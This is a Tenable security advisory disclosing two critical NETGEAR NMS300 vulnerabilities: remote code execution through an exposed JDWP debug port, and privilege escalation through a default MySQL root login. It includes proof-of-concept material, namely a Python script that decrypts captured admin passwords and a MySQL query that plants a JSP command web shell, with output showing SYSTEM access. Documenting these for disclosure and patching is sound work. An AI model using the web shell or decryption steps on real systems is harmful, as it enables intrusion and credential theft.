Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

NETGEAR ProSAFE Network Management System (NMS300) Multiple Vulnerabilities

Critical

Synopsis

Tenable has found multiple vulnerabilities in NETGER ProSAFE Network Management System (NMS300) v1.7.0.26.

Java Debug Wire Protocol (JDWP) RCE (CVE-2023-49693)

NSM300 has JDWP enabled on port 11611 and it's remotely accessible:

PS C:\Program Files\NMS300> Get-ItemPropertyValue -Path 'HKLM:\SOFTWARE\WOW6432Node\Apache Software Foundation\Procrun 2.0\NMS300_Server\Parameters\Java\' -Name Options
-Dcatalina.base=C:\Program Files\NMS300\NMS300\apache-tomcat-6.0.33
-Dcatalina.home=C:\Program Files\NMS300\NMS300\apache-tomcat-6.0.33
-Djava.endorsed.dirs=C:\Program Files\NMS300\NMS300\apache-tomcat-6.0.33\endorsed
-Xdebug
-Xrunjdwp:transport=dt_socket,address=11611,server=y,suspend=n
-Djava.io.tmpdir=C:\Program Files\NMS300\NMS300\apache-tomcat-6.0.33\temp
-Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager
-Djava.util.logging.config.file=C:\Program Files\NMS300\NMS300\apache-tomcat-6.0.33\conf\logging.properties

A metasploit module (exploit/multi/misc/java_jdwp_debugger) exists to exploit the JDWP RCE.

In addition, an unauthenticated remote attacker can attach to the NMS300 server (via JDWP) to intercept user login requests to grab user credentials. For example, the attacker can break into com.elite.wifi.manager.dbservice.user.UserService.userLogin() and then com.elite.wifi.manager.utils.AESSaltEncryptUtil.decrypt() to learn about the admin password:

Breakpoint hit: "thread=http-8080-3", com.elite.wifi.manager.utils.AESSaltEncryptUtil.decrypt(), line=59 bci=0
Method arguments:
encry = "lxUCViqkXpl4/wZXIyKjxQ=="
password = "NMS300_Server_Secret"
salt = "HZksRpZl8YARoyIgT3U6UT4phw370HJrk3wuY+Q2G3CO12sWkGMtjyEZf0JXOokSucv8b2lC0oY+juyIduKU/lNvIdZHwPhMV930b4DuaXF5HUtEr5bupPpY6QeWi7QNcR5hU1SD2vdr1waMVgoiPPxickNlVstyn8blALtO8D6j/vaCupOAwhzDbzsl7UhSTJZ8hP995dYzYCymoMoBkjEa1Dj5JE/mZVxYaNh1SEZPwFAtUHD5kKUjYj2ERczqQ8jKT/UirQcktMoEcKSdS20g/DXL2gyGRcnF50747B97vCRAiGID6I6gxcu4Pei1wux3IQmUevUP8VUc1aB71g=="
Local variables:
http-8080-3[1] http-8080-3[1]

The encrypted password can then be decrypted with the following python script:

import sys, base64
from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2
from Crypto.Hash import SHA1
data = base64.b64decode(sys.argv[1])
salt= base64.b64decode(sys.argv[2])
pw = 'NMS300_Server_Secret'
if len(sys.argv) == 4: pw = sys.argv[3]
key = PBKDF2(pw.encode(), salt, 32, 1000, None, SHA1)
iv = 'NMS300_Server_IV'.encode()
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
print('\n' + cipher.decrypt(data).decode())

Usage:

python3 nms300_decrypt.py <base64_encoded_encrypted_data> <base64_encoded_salt>

Example output:

python3 nms300_decypt.py "lxUCViqkXpl4/wZXIyKjxQ=="  "HZksRpZl8YARoyIgT3U6UT4phw370HJrk3wuY+Q2G3CO12sWkGMtjyEZf0JXOokSucv8b2lC0oY+juyIduKU/lNvIdZHwPhMV930b4DuaXF5HUtEr5bupPpY6QeWi7QNcR5hU1SD2vdr1waMVgoiPPxickNlVstyn8blALtO8D6j/vaCupOAwhzDbzsl7UhSTJZ8hP995dYzYCymoMoBkjEa1Dj5JE/mZVxYaNh1SEZPwFAtUHD5kKUjYj2ERczqQ8jKT/UirQcktMoEcKSdS20g/DXL2gyGRcnF50747B97vCRAiGID6I6gxcu4Pei1wux3IQmUevUP8VUc1aB71g=="
AdminPass123

Privilege Escalation Via MySQL Server (CVE-2023-49694)

A low-privileged OS user with access to a Windows host where NMS300 is installed can create arbitrary JSP files in a Tomcat web application directory. The user can then execute the JSP files under the security context of SYSTEM.

PoC:

PS C:\Program Files\NMS300\NMS300\MySQL Server 5.5\bin> whoami /groups
GROUP INFORMATION
-----------------
Group Name                             Type             SID          Attributes
====================================== ================ ============ ==================================================
Everyone                               Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                          Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Desktop Users           Alias            S-1-5-32-555 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\REMOTE INTERACTIVE LOGON  Well-known group S-1-5-14     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE               Well-known group S-1-5-4      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization         Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account             Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group
LOCAL                                  Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication       Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label            S-1-16-8192
PS C:\Program Files\NMS300\NMS300\MySQL Server 5.5\bin>
PS C:\Program Files\NMS300\NMS300\MySQL Server 5.5\bin> .\mysql.exe -h localhost -P 3311 -u root --password=root -D nms300_db
[...]
mysql> select '<%@ page import="java.io.*" %> <% Process p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameterValues("c")[0]); BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));String s; while((s = br.readLine()) != null) out.println(s); %>' INTO DUMPFILE 'C:\\Program Files\\NMS300\\NMS300\\apache-tomcat-6.0.33\\webapps\\ROOT\\cmd.jsp';
Query OK, 1 row affected (0.00 sec)
mysql> quit
Bye
PS C:\Program Files\NMS300\NMS300\MySQL Server 5.5\bin> Invoke-WebRequest -UseBasicParsing -Uri http://localhost:8080/cmd.jsp?c=whoami | select -ExpandProperty  Content
nt authority\system
PS C:\Program Files\NMS300\NMS300\MySQL Server 5.5\bin>

 

Solution

See vendor advisory for patches.

Disclosure Timeline

8/10/2023 - Vulnerability discovered
8/29/2023 - Vulnerability disclosed
9/5/2023 - Vendor confirmed disclosure
10/27/2023 - Asked Netgear for update
11/6/2023 - Vendor replied that they would have fix in time for disclosure
11/29/2023 - Vulnerability publicly disclosed.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

Tenable Advisory ID: TRA-2023-39
CVSSv3 Base / Temporal Score:
9.8/9.3
CVSSv3 Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected Products:
NETGER ProSAFE Network Management System (NMS300) <= v1.7.0.26
Risk Factor:
Critical

Advisory Timeline

11/28/2023 - Advisory Published

Tenable Vulnerability Management

Formerly Tenable.io

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable Vulnerability Management trial also includes Tenable Lumin and Tenable Web App Scanning.

Tenable Vulnerability Management

Formerly Tenable.io

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

100 assets

Choose Your Subscription Option:

Buy Now

Tenable Vulnerability Management

Formerly Tenable.io

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable Vulnerability Management trial also includes Tenable Lumin and Tenable Web App Scanning.

Tenable Vulnerability Management

Formerly Tenable.io

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

100 assets

Choose Your Subscription Option:

Buy Now

Tenable Vulnerability Management

Formerly Tenable.io

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable Vulnerability Management trial also includes Tenable Lumin and Tenable Web App Scanning.

Tenable Vulnerability Management

Formerly Tenable.io

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

100 assets

Choose Your Subscription Option:

Buy Now

Try Tenable Web App Scanning

Formerly Tenable.io Web Application Scanning

Enjoy full access to our latest web application scanning offering designed for modern applications as part of the Tenable One Exposure Management platform. Safely scan your entire online portfolio for vulnerabilities with a high degree of accuracy without heavy manual effort or disruption to critical web applications. Sign up now.

Your Tenable Web App Scanning trial also includes Tenable Vulnerability Management and Tenable Lumin.

Buy Tenable Web App Scanning

Formerly Tenable.io Web Application Scanning

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

5 FQDNs

$3,578

Buy Now

Try Tenable Lumin

Visualize and explore your exposure management, track risk reduction over time and benchmark against your peers with Tenable Lumin.

Your Tenable Lumin trial also includes Tenable Vulnerability Management and Tenable Web App Scanning.

Buy Tenable Lumin

Contact a Sales Representative to see how Tenable Lumin can help you gain insight across your entire organization and manage cyber risk.

Try Tenable Nessus Professional Free

FREE FOR 7 DAYS

Tenable Nessus is the most comprehensive vulnerability scanner on the market today.

NEW - Tenable Nessus Expert
Now Available

Nessus Expert adds even more features, including external attack surface scanning, and the ability to add domains and scan cloud infrastructure. Click here to Try Nessus Expert.

Fill out the form below to continue with a Nessus Pro Trial.

Buy Tenable Nessus Professional

Tenable Nessus is the most comprehensive vulnerability scanner on the market today. Tenable Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Buy a multi-year license and save. Add Advanced Support for access to phone, community and chat support 24 hours a day, 365 days a year.

Select Your License

Buy a multi-year license and save.

Add Support and Training

Try Tenable Nessus Expert Free

FREE FOR 7 DAYS

Built for the modern attack surface, Nessus Expert enables you to see more and protect your organization from vulnerabilities from IT to the cloud.

Already have Tenable Nessus Professional?
Upgrade to Nessus Expert free for 7 days.

Buy Tenable Nessus Expert

Built for the modern attack surface, Nessus Expert enables you to see more and protect your organization from vulnerabilities from IT to the cloud.

Select Your License

Buy a multi-year license and save more.

Add Support and Training